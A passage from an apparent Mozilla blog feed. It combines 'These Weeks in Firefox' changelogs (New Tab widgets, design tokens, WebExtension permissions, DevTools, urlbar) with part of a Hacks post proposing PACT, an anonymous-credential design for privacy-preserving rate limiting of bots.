Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
Work also continues on the new Nova layouts.

Smart Window

uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect

jump to bottom of conversation 2028692
stop streaming button 2029204
back/forward navigation from assistant 2029229
dark mode for various chips 2024499


search engine switching from smart bar 2021973
Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign




Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
Anna fixed the Settings navbar layout breakage



Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204
Sat, 25 Jul 2026 08:37:31 +0200
Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.

You can try it out on this Instagram reel in Nightly





A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)


Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Sam Johnson
Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
liz: Screenshots overlay visible on both splitview browsers
🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
 tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054

Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.



WebExtension APIs

Fixed handling of  as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

Added a rule to prevent new uses of Preferences.sys.mjs.
The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
Temporal, and some other definitions have been added to TypeScript.

New Tab Page

Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.

https://www.npmjs.com/package/@firefox-devtools/profiler-cli
You can install it with npm install -g @firefox-devtools/profiler-cli@latest



Search and Urlbar
Nova UI refresh

Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
2019154, 2019152, 2041501, 2040532

Suggest

Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
2040561, 2039753, 2035614, 2038843

Adaptive autofill

James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
2040819, 2037177

Quick actions

Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
Caleb added Calculator support for certain unicode operators.
2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
2039297, 2036095, 2039844, 2037933, 2030050

Other

Marco, Drew and Daisuke fixed several intermittent test failures.
2038510, 2023908, 2011584, 1938142, 1971091

Search

Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
Caleb fixed multiple documentation issues and added a test covering searches from a private window.
1904613, 2035878, 2037942, 2033545, 2005724

Places

Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
2039534, 1505800, 2008829, 2029541, 2035084






Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205
Sat, 25 Jul 2026 08:37:28 +0200
Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting from Firefox 153, access to local file: URLs is being restricted by default.

Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.
Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (Bug 2034168).



Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

:Vincent
Chris Vander Linden
DrSeed
Khalid AlHaddad
Sam Johnson

New contributors (🌟 = first patch)

Francis :mckenfra: tld service for webextensions
any1here: about:preferences#privacy is broken with MOZ_DATA_REPORTING false
pullmana8: Fix protocol/Actor.js to throw an Error instead of an Actor
RAN1: Firefox Crashes on Quit When Running Two Browsers With Separate Profiles

Project Updates
Accessibility

Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it in the accessibility review source docs.

Add-ons / Web Extensions
Addon Manager & about:addons

Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons – Bug 2042200 / Bug 2042204
Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train – Bug 2040971
Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 – Bug 2043803

WebExtensions Framework

Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 – Bug 2041393
Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 – Bug 1751346
Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 – Bug 1805205

Thanks to Mike Kaply for implementing this enterprise policy enhancement.



WebExtension APIs

Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 – Bug 1653876
Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 – Bug 1750196

DevTools

Chris Vander Linden made the Search input component shared as we plan to use it in the Netmonitor as well (#2019260, #2027580, #2027582)
pullmana8 improved error management in the DevTools protocol (#2031735)
Chris H-C :chutten removed Legacy Telemetry devtools instrumentation (#2039650)
:glob ✱ fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (#2016778)
Nicolas Chevobbe [:nchevobbe] exposed heading level more clearly in the accessibility tree (#1588784) and in the accessibility highlighter (#2044904)



Julian Descottes [:jdescottes] migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (#2028058)
Nicolas Chevobbe [:nchevobbe] fixed an issue in Netmonitor search where it could appear the the search stalled (#2042405)
Hubert Boma Manilla (:bomsy) added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (#2036404)

WebDriver

Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
Khalid AlHaddad updated our codebase to use constants instead of hardcoded strings for all our session data types.
Alexandra Borovova updated the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers.
Alexandra Borovova fixed a regression when there would be no “script.realmCreated” events after the cross-origin navigation.

Search and Urlbar

Dharma updated context search actions to trigger search instead of entering search mode @ 1945080
Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ 2041255, 2030183, 2019168, 2044849, 2033583
Moritz has worked on several refactorings to allow the urlbar to be used in content @ 2039828, 2039298, 2041280
Middle click paste replaces content was fixed by Moritz @ 2042893
Michel added feature to show registrable domain on desktop after its implementation on mobile @ 1986161



Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web
Sat, 25 Jul 2026 08:37:27 +0200
This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome. 
Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. 
Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans. 
Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. 
This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. 
Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.
The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers. 
The Costs of Convenient Solutions
Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.
Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.
Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.
However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors. 
Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.
A Better Path Forward 
Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  
Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. 
However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work. 
What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. 
As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. 
The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking. 
Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.
The Foundations 
The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. 

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history. 
Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. 
Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you. 
Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably. 
Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 
To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. 
Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected. 
Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. 
Putting it together 
So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. 
Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites. 
That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. 
We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 
In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time. 
Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one. 
When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy. 
Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. 
The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.
Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  
Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.
